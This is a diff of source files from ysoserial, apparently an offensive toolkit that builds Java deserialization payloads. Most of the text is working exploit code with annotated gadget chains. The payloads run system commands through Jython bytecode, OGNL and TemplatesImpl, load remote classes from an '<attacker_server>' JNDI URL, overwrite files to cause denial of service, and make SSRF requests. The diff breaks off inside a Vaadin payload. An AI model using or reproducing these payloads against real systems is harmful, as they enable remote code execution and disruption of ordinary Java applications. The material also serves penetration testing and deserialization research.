import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.payloads.util.JavaVersion;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.util.*;
|
||||
@@ -29,15 +26,11 @@ import java.util.*;
|
||||
by @matthias_kaiser
|
||||
*/
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@PayloadTest(precondition = "isApplicableJavaVersion")
|
||||
@Dependencies({ "javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final",
|
||||
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
|
||||
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
|
||||
@Authors({ Authors.MATTHIASKAISER })
|
||||
public class JBossInterceptors1 implements ObjectPayload<Object> {
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
return JavaVersion.isAtLeast(7);
|
||||
}
|
||||
|
||||
public Object getObject(final String command) throws Exception {
|
||||
|
||||
@@ -51,7 +44,7 @@ public class JBossInterceptors1 implements ObjectPayload<Object> {
|
||||
s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
|
||||
|
||||
Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
|
||||
Reflections.setAccessible(defaultMethodMetadataConstructor);
|
||||
defaultMethodMetadataConstructor.setAccessible(true);
|
||||
MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
|
||||
MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
|
||||
|
||||
|
||||
@@ -49,7 +49,7 @@ import ysoserial.payloads.util.PayloadRunner;
|
||||
@SuppressWarnings ( {
|
||||
"restriction"
|
||||
} )
|
||||
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
|
||||
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
|
||||
@Authors({ Authors.MBECHLER })
|
||||
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
|
||||
|
||||
|
||||
@@ -22,6 +22,7 @@ import javax.management.openmbean.TabularType;
|
||||
import javax.xml.transform.Templates;
|
||||
|
||||
import org.springframework.aop.framework.AdvisedSupport;
|
||||
import com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl;
|
||||
import net.sf.json.JSONObject;
|
||||
|
||||
|
||||
@@ -94,11 +95,12 @@ public class JSON1 implements ObjectPayload<Object> {
|
||||
// it's very likely that there are other proxy impls that could be used
|
||||
AdvisedSupport as = new AdvisedSupport();
|
||||
as.setTarget(payload);
|
||||
InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as);
|
||||
InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections
|
||||
.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as);
|
||||
InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt));
|
||||
InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl");
|
||||
((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler);
|
||||
Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler);
|
||||
CompositeInvocationHandlerImpl invocationHandler = new CompositeInvocationHandlerImpl();
|
||||
invocationHandler.addInvocationHandler(CompositeData.class, cdsInvocationHandler);
|
||||
invocationHandler.setDefaultHandler(delegateInvocationHandler);
|
||||
final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces);
|
||||
|
||||
JSONObject jo = new JSONObject();
|
||||
|
||||
@@ -16,11 +16,8 @@ import org.jboss.weld.interceptor.spi.model.InterceptionModel;
|
||||
import org.jboss.weld.interceptor.spi.model.InterceptionType;
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.payloads.util.JavaVersion;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.util.*;
|
||||
@@ -29,15 +26,11 @@ import java.util.*;
|
||||
by @matthias_kaiser
|
||||
*/
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@PayloadTest(precondition = "isApplicableJavaVersion")
|
||||
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final",
|
||||
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
|
||||
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
|
||||
@Authors({ Authors.MATTHIASKAISER })
|
||||
public class JavassistWeld1 implements ObjectPayload<Object> {
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
return JavaVersion.isAtLeast(7);
|
||||
}
|
||||
|
||||
public Object getObject(final String command) throws Exception {
|
||||
|
||||
@@ -51,7 +44,7 @@ public class JavassistWeld1 implements ObjectPayload<Object> {
|
||||
s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
|
||||
|
||||
Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
|
||||
Reflections.setAccessible(defaultMethodMetadataConstructor);
|
||||
defaultMethodMetadataConstructor.setAccessible(true);
|
||||
MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
|
||||
MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
|
||||
|
||||
|
||||
@@ -1,57 +0,0 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import org.python.core.*;
|
||||
import java.math.BigInteger;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
|
||||
/**
|
||||
* Credits: Alvaro Munoz (@pwntester), Christian Schneider (@cschneider4711),
|
||||
* and Yorick Koster (@ykoster)
|
||||
*
|
||||
* This version of Jython2 executes a command through os.system().
|
||||
* Based on Jython1 from @pwntester & @cschneider4711
|
||||
*/
|
||||
|
||||
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
|
||||
@Dependencies({ "org.python:jython-standalone:2.5.2" })
|
||||
@Authors({ Authors.PWNTESTER, Authors.CSCHNEIDER4711, Authors.YKOSTER })
|
||||
public class Jython2 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
|
||||
|
||||
public PriorityQueue getObject(String command) throws Exception {
|
||||
String code =
|
||||
"740000" + // 0 LOAD_GLOBAL 0 (eval)
|
||||
"640100" + // 3 LOAD_CONST 1 ("__import__('os', globals(), locals(), ['system'], 0).system('<command>')")
|
||||
"830100" + // 6 CALL_FUNCTION 1
|
||||
"01" + // 9 POP_TOP
|
||||
"640000" + //10 LOAD_CONST 0 (None)
|
||||
"53"; //13 RETURN_VALUE
|
||||
PyObject[] consts = new PyObject[]{new PyString(""), new PyString("__import__('os', globals(), locals(), ['system'], 0).system('" + command.replace("'", "\\'") + "')")};
|
||||
String[] names = new String[]{"eval"};
|
||||
|
||||
// Generating PyBytecode wrapper for our python bytecode
|
||||
PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{ "", "" }, "noname", "<module>", 0, "");
|
||||
Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
|
||||
|
||||
// Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method
|
||||
PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj);
|
||||
|
||||
// Prepare Trigger Gadget
|
||||
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
|
||||
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
|
||||
Object[] queue = new Object[] {1,1};
|
||||
Reflections.setFieldValue(priorityQueue, "queue", queue);
|
||||
Reflections.setFieldValue(priorityQueue, "size", 2);
|
||||
|
||||
return priorityQueue;
|
||||
}
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
PayloadRunner.run(Jython2.class, args);
|
||||
}
|
||||
}
|
||||
@@ -8,7 +8,6 @@ import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.payloads.util.JavaVersion;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import java.lang.reflect.Constructor;
|
||||
@@ -28,7 +27,7 @@ public class MozillaRhino1 implements ObjectPayload<Object> {
|
||||
|
||||
Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
|
||||
Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
|
||||
Reflections.setAccessible(nativeErrorConstructor);
|
||||
nativeErrorConstructor.setAccessible(true);
|
||||
IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();
|
||||
|
||||
Context context = Context.enter();
|
||||
@@ -44,14 +43,14 @@ public class MozillaRhino1 implements ObjectPayload<Object> {
|
||||
idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false);
|
||||
|
||||
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
|
||||
Reflections.setAccessible(getSlot);
|
||||
getSlot.setAccessible(true);
|
||||
Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1);
|
||||
Field getter = slot.getClass().getDeclaredField("getter");
|
||||
Reflections.setAccessible(getter);
|
||||
getter.setAccessible(true);
|
||||
|
||||
Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
|
||||
Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
|
||||
Reflections.setAccessible(memberboxClassConstructor);
|
||||
memberboxClassConstructor.setAccessible(true);
|
||||
Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
|
||||
getter.set(slot, memberboxes);
|
||||
|
||||
@@ -60,7 +59,7 @@ public class MozillaRhino1 implements ObjectPayload<Object> {
|
||||
|
||||
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
|
||||
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
|
||||
Reflections.setAccessible(valField);
|
||||
valField.setAccessible(true);
|
||||
valField.set(badAttributeValueExpException, idScriptableObject);
|
||||
|
||||
return badAttributeValueExpException;
|
||||
|
||||
@@ -1,109 +0,0 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import org.mozilla.javascript.*;
|
||||
import org.mozilla.javascript.tools.shell.Environment;
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Hashtable;
|
||||
import java.util.Map;
|
||||
|
||||
/*
|
||||
|
||||
Works on rhino 1.6R6 and above & doesn't depend on BadAttributeValueExpException's readObject
|
||||
|
||||
Chain:
|
||||
|
||||
NativeJavaObject.readObject()
|
||||
JavaAdapter.readAdapterObject()
|
||||
ObjectInputStream.readObject()
|
||||
...
|
||||
NativeJavaObject.readObject()
|
||||
JavaAdapter.readAdapterObject()
|
||||
JavaAdapter.getAdapterClass()
|
||||
JavaAdapter.getObjectFunctionNames()
|
||||
ScriptableObject.getProperty()
|
||||
ScriptableObject.get()
|
||||
ScriptableObject.getImpl()
|
||||
Method.invoke()
|
||||
Context.enter()
|
||||
JavaAdapter.getAdapterClass()
|
||||
JavaAdapter.getObjectFunctionNames()
|
||||
ScriptableObject.getProperty()
|
||||
NativeJavaArray.get()
|
||||
NativeJavaObject.get()
|
||||
JavaMembers.get()
|
||||
Method.invoke()
|
||||
TemplatesImpl.getOutputProperties()
|
||||
...
|
||||
|
||||
by @_tint0
|
||||
|
||||
*/
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"rhino:js:1.7R2"})
|
||||
@Authors({ Authors.TINT0 })
|
||||
public class MozillaRhino2 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject( String command) throws Exception {
|
||||
ScriptableObject dummyScope = new Environment();
|
||||
Map<Object, Object> associatedValues = new Hashtable<Object, Object>();
|
||||
associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
|
||||
Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues);
|
||||
|
||||
Object initContextMemberBox = Reflections.createWithConstructor(
|
||||
Class.forName("org.mozilla.javascript.MemberBox"),
|
||||
(Class<Object>)Class.forName("org.mozilla.javascript.MemberBox"),
|
||||
new Class[] {Method.class},
|
||||
new Object[] {Context.class.getMethod("enter")});
|
||||
|
||||
ScriptableObject initContextScriptableObject = new Environment();
|
||||
Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
|
||||
Reflections.setAccessible(makeSlot);
|
||||
Object slot = makeSlot.invoke(initContextScriptableObject, "foo", 0, 4);
|
||||
Reflections.setFieldValue(slot, "getter", initContextMemberBox);
|
||||
|
||||
NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
|
||||
Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope);
|
||||
Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true);
|
||||
Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject",
|
||||
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
|
||||
Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);
|
||||
|
||||
ScriptableObject scriptableObject = new Environment();
|
||||
scriptableObject.setParentScope(initContextNativeJavaObject);
|
||||
makeSlot.invoke(scriptableObject, "outputProperties", 0, 2);
|
||||
|
||||
NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);
|
||||
Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope);
|
||||
Reflections.setFieldValue(nativeJavaArray, "javaObject", Gadgets.createTemplatesImpl(command));
|
||||
nativeJavaArray.setPrototype(scriptableObject);
|
||||
Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject);
|
||||
|
||||
NativeJavaObject nativeJavaObject = new NativeJavaObject();
|
||||
Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope);
|
||||
Reflections.setFieldValue(nativeJavaObject, "isAdapter", true);
|
||||
Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
|
||||
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
|
||||
Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);
|
||||
|
||||
return nativeJavaObject;
|
||||
}
|
||||
|
||||
public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {
|
||||
out.writeObject("java.lang.Object");
|
||||
out.writeObject(new String[0]);
|
||||
out.writeObject(javaObject);
|
||||
}
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
PayloadRunner.run(MozillaRhino2.class, args);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -4,7 +4,6 @@ package ysoserial.payloads;
|
||||
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.JavaVersion;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
|
||||
|
||||
@@ -29,12 +28,9 @@ import ysoserial.payloads.util.PayloadRunner;
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@PayloadTest(harness="ysoserial.test.payloads.MyfacesTest", precondition = "isApplicableJavaVersion")
|
||||
@PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" )
|
||||
@Authors({ Authors.MBECHLER })
|
||||
public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
return JavaVersion.isAtLeast(7);
|
||||
}
|
||||
|
||||
public static String[] getDependencies () {
|
||||
return Myfaces1.getDependencies();
|
||||
|
||||
@@ -1,106 +0,0 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import scala.Function0;
|
||||
import scala.Function1;
|
||||
import scala.PartialFunction;
|
||||
import scala.math.Ordering$;
|
||||
import scala.sys.process.processInternal$;
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
import java.io.File;
|
||||
import java.net.URL;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
/*
|
||||
Two exploits using classes in the scala library.
|
||||
* CreateZeroFile will create a file at the target path, or will replace the target path with a 0 byte file.
|
||||
Could be useful as a DoS attack by replacing some app class/war?
|
||||
* Ssrf will perform a GET request to the given URL.
|
||||
|
||||
Requires:
|
||||
org.scala-lang:scala-library
|
||||
The below hard-codes some anonymous inner class names so it is likely bound to the 2.12.6 release library.
|
||||
Some slight variations will probably work with other versions.
|
||||
*/
|
||||
|
||||
@Dependencies({"org.scala-lang:scala-library:2.12.6"})
|
||||
@Authors({ Authors.JACKOFMOSTTRADES })
|
||||
public class Scala {
|
||||
|
||||
private static PriorityQueue<Throwable> createExploit(Function0<Object> exploitFunction) throws Exception {
|
||||
PartialFunction<Throwable, Object> onf = processInternal$.MODULE$.onInterrupt(exploitFunction);
|
||||
|
||||
Function1<Throwable, Object> f = new PartialFunction.OrElse(onf, onf);
|
||||
|
||||
// create queue with numbers and basic comparator
|
||||
final PriorityQueue<Throwable> queue = new PriorityQueue<Throwable>(2, new Comparator<Throwable>() {
|
||||
@Override
|
||||
public int compare(Throwable o1, Throwable o2) {
|
||||
return 0;
|
||||
}
|
||||
});
|
||||
|
||||
// stub data for replacement later
|
||||
queue.add(new Exception());
|
||||
queue.add(new Exception());
|
||||
Reflections.setFieldValue(queue, "comparator", Ordering$.MODULE$.<Throwable, Object>by(f, null));
|
||||
|
||||
// switch contents of queue
|
||||
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
|
||||
queueArray[0] = new InterruptedException();
|
||||
queueArray[1] = new InterruptedException();
|
||||
|
||||
return queue;
|
||||
}
|
||||
|
||||
/*
|
||||
Gadget chain:
|
||||
ObjectInputStream.readObject()
|
||||
PriorityQueue.readObject()
|
||||
scala.math.Ordering$$anon$5.compare()
|
||||
scala.PartialFunction$OrElse.apply()
|
||||
scala.sys.process.processInternal$$anonfun$onIOInterrupt$1.applyOrElse()
|
||||
scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3.apply()
|
||||
java.io.FileOutputStream.<init>()
|
||||
*/
|
||||
public static class CreateZeroFile extends PayloadRunner implements ObjectPayload<PriorityQueue<Throwable>> {
|
||||
public PriorityQueue<Throwable> getObject(final String path) throws Exception {
|
||||
Class<?> clazz = Class.forName("scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3");
|
||||
Function0<Object> pbf = (Function0<Object>) Reflections.createWithoutConstructor(clazz);
|
||||
Reflections.setFieldValue(pbf, "file$1", new File(path));
|
||||
Reflections.setFieldValue(pbf, "append$1", false);
|
||||
|
||||
return createExploit(pbf);
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
Gadget chain:
|
||||
ObjectInputStream.readObject()
|
||||
PriorityQueue.readObject()
|
||||
scala.math.Ordering$$anon$5.compare()
|
||||
scala.PartialFunction$OrElse.apply()
|
||||
scala.sys.process.processInternal$$anonfun$onIOInterrupt$1.applyOrElse()
|
||||
scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1.apply()
|
||||
java.net.URL.openStream()
|
||||
*/
|
||||
public static class Ssrf extends PayloadRunner implements ObjectPayload<PriorityQueue<Throwable>> {
|
||||
public PriorityQueue<Throwable> getObject(final String url) throws Exception {
|
||||
Class<?> clazz = Class.forName("scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1");
|
||||
Function0<Object> pbf = (Function0<Object>)Reflections.createWithoutConstructor(clazz);
|
||||
Reflections.setFieldValue(pbf, "url$1", new URL(url));
|
||||
|
||||
return createExploit(pbf);
|
||||
}
|
||||
}
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
PayloadRunner.run(Scala.CreateZeroFile.class, new String[]{"/tmp/poc.txt"});
|
||||
//PayloadRunner.run(Scala.Ssrf.class, new String[]{"http://localhost:7001/foo"});
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,74 +0,0 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import org.springframework.transaction.jta.JtaTransactionManager;
|
||||
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
|
||||
/**
|
||||
*
|
||||
* Gadget chain:
|
||||
*
|
||||
* org.springframework.transaction.jta.JtaTransactionManager.readObject()
|
||||
* org.springframework.transaction.jta.JtaTransactionManager.initUserTransactionAndTransactionManager()
|
||||
* org.springframework.transaction.jta.JtaTransactionManager.lookupUserTransaction()
|
||||
* org.springframework.jndi.JndiTemplate.lookup()
|
||||
* javax.naming.InitialContext.lookup()
|
||||
*
|
||||
*
|
||||
* Arguments:
|
||||
* - (rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>
|
||||
*
|
||||
*
|
||||
* @author zerothoughts
|
||||
* payload added by sciccone
|
||||
*
|
||||
* This gadget was discovered by zerothoughts:
|
||||
* https://github.com/zerothoughts/spring-jndi
|
||||
*
|
||||
*/
|
||||
@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest")
|
||||
@Dependencies( {
|
||||
"org.springframework:spring-tx:5.1.7.RELEASE",
|
||||
"org.springframework:spring-context:5.1.7.RELEASE",
|
||||
"javax.transaction:jta:1.1"
|
||||
} )
|
||||
@Authors({ Authors.ZEROTHOUGHTS, Authors.SCICCONE })
|
||||
public class SpringJta implements ObjectPayload<Object>, DynamicDependencies {
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
// validate command
|
||||
if ( !(command.startsWith("ldap://") || command.startsWith("rmi://")) )
|
||||
throw new IllegalArgumentException("Command format is: "
|
||||
+ "(rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>");
|
||||
|
||||
// create object
|
||||
JtaTransactionManager jta = new JtaTransactionManager();
|
||||
jta.setUserTransactionName(command);
|
||||
|
||||
return jta;
|
||||
}
|
||||
|
||||
|
||||
public static void main ( final String[] args ) throws Exception {
|
||||
PayloadRunner.run(SpringJta.class, args);
|
||||
}
|
||||
|
||||
|
||||
// add dependencies for testing
|
||||
public static String[] getDependencies () {
|
||||
return new String[] {
|
||||
"org.springframework:spring-tx:5.1.7.RELEASE",
|
||||
"org.springframework:spring-context:5.1.7.RELEASE",
|
||||
"org.springframework:spring-beans:5.1.7.RELEASE",
|
||||
"org.springframework:spring-core:5.1.7.RELEASE",
|
||||
"commons-logging:commons-logging:1.2",
|
||||
"javax.transaction:jta:1.1"
|
||||
};
|
||||
|
||||
}
|
||||
}
|
||||
@@ -1,115 +0,0 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.util.HashMap;
|
||||
|
||||
import org.apache.struts2.views.jasperreports.ValueStackShadowMap;
|
||||
|
||||
import com.opensymphony.xwork2.ActionContext;
|
||||
import com.opensymphony.xwork2.TextProvider;
|
||||
import com.opensymphony.xwork2.config.Configuration;
|
||||
import com.opensymphony.xwork2.config.ConfigurationManager;
|
||||
import com.opensymphony.xwork2.config.providers.XWorkConfigurationProvider;
|
||||
import com.opensymphony.xwork2.conversion.impl.XWorkConverter;
|
||||
import com.opensymphony.xwork2.inject.Container;
|
||||
import com.opensymphony.xwork2.ognl.OgnlValueStack;
|
||||
import com.opensymphony.xwork2.ognl.accessor.CompoundRootAccessor;
|
||||
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
|
||||
/**
|
||||
*
|
||||
* Gadget chain:
|
||||
*
|
||||
*
|
||||
* java/util/HashMap<K,V>.readObject(ObjectInputStream)
|
||||
* java/util/HashMap<K,V>.putVal(int, K, V, boolean, boolean)
|
||||
* org/apache/struts2/views/jasperreports/ValueStackShadowMap(AbstractMap<K,V>).equals(Object)
|
||||
* org/apache/struts2/views/jasperreports/ValueStackShadowMap.get(String)
|
||||
* com/opensymphony/xwork2/ognl/OgnlValueStack.findValue(String) //keyExpression
|
||||
*
|
||||
* Execution of embedded OGNL invoking template.newTrasformer (object put in the valueStack)
|
||||
*
|
||||
* TemplatesImpl.newTransformer()
|
||||
* TemplatesImpl.getTransletInstance()
|
||||
* TemplatesImpl.defineTransletClasses()
|
||||
* TemplatesImpl.TransletClassLoader.defineClass()
|
||||
* Pwner*(Javassist-generated).<static init>
|
||||
* Runtime.exec()
|
||||
*
|
||||
*
|
||||
* @author sciccone
|
||||
*
|
||||
*/
|
||||
@SuppressWarnings({ "unchecked" })
|
||||
@PayloadTest(harness="ysoserial.test.payloads.Struts2JasperReportsTest")
|
||||
@Dependencies( { "org.apache.struts:struts2-core:2.5.20", "org.apache.struts:struts2-jasperreports-plugin:2.5.20" } )
|
||||
@Authors({ Authors.SCICCONE })
|
||||
public class Struts2JasperReports implements ObjectPayload<Object>, DynamicDependencies {
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
// create required objects via reflection
|
||||
Constructor<XWorkConverter> c1 = XWorkConverter.class.getDeclaredConstructor();
|
||||
Constructor<OgnlValueStack> c2 = OgnlValueStack.class.getDeclaredConstructor(
|
||||
XWorkConverter.class, CompoundRootAccessor.class, TextProvider.class, boolean.class);
|
||||
c1.setAccessible(true);
|
||||
c2.setAccessible(true);
|
||||
XWorkConverter xworkConverter = c1.newInstance();
|
||||
OgnlValueStack ognlValueStack = c2.newInstance(xworkConverter,null,null,true);
|
||||
|
||||
// inject templateImpl with embedded command
|
||||
ognlValueStack.set("template", Gadgets.createTemplatesImpl(command));
|
||||
|
||||
// create shadowMaps
|
||||
ValueStackShadowMap shadowMap1 = new ValueStackShadowMap(ognlValueStack);
|
||||
ValueStackShadowMap shadowMap2 = new ValueStackShadowMap(ognlValueStack);
|
||||
|
||||
// execute OGNL "(template.newTransformer()) upon deserialisation
|
||||
String keyExpression = "(template.newTransformer())";
|
||||
shadowMap1.put(keyExpression, null);
|
||||
shadowMap2.put(keyExpression, null);
|
||||
|
||||
return Gadgets.makeMap(shadowMap1, shadowMap2);
|
||||
}
|
||||
|
||||
|
||||
public static void main ( final String[] args ) throws Exception {
|
||||
initializeThreadLocalMockContainerForTesting();
|
||||
PayloadRunner.run(Struts2JasperReports.class, args);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Create mock container and mock actionContext,
|
||||
* since a context is required for the payload being triggered upon deserialisation.
|
||||
* Simulates an Apache Struts2 app up and running.
|
||||
*/
|
||||
public static void initializeThreadLocalMockContainerForTesting() {
|
||||
ConfigurationManager configurationManager = new ConfigurationManager(Container.DEFAULT_NAME);
|
||||
configurationManager.addContainerProvider(new XWorkConfigurationProvider());
|
||||
Configuration config = configurationManager.getConfiguration();
|
||||
Container container = config.getContainer();
|
||||
|
||||
HashMap<String, Object> context = new HashMap<String, Object>();
|
||||
context.put(ActionContext.CONTAINER, container);
|
||||
ActionContext.setContext(new ActionContext(context));
|
||||
}
|
||||
|
||||
// add dependencies for testing a mock struts2 app
|
||||
public static String[] getDependencies () {
|
||||
return new String[] {
|
||||
"org.apache.struts:struts2-core:2.5.20",
|
||||
"org.apache.struts:struts2-jasperreports-plugin:2.5.20",
|
||||
"org.apache.logging.log4j:log4j-api:2.11.1",
|
||||
"ognl:ognl:3.1.21", "org.apache.commons:commons-lang3:3.8.1",
|
||||
"javassist:javassist:3.12.1.GA"
|
||||
};
|
||||
|
||||
}
|
||||
}
|
||||
@@ -1,82 +0,0 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
|
||||
import com.vaadin.data.util.NestedMethodProperty;
|
||||
import com.vaadin.data.util.PropertysetItem;
|
||||
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
